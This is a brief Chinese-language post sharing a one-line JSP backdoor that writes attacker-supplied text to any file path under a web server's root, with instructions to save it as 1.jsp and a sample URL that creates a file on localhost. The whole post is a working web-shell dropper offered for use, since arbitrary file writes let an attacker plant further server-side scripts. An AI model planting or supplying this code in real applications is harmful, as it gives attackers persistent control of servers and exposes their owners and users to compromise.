复制代码 代码如下:

<%

if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());

%>

这个后门估计不用我说了吧.还是提示一下咯.保存为1.jsp提交url!

http://localhost/1.jsp?f=1.txt&t=hello

然后:http://localhost/1.txt就出来了内容为hello.....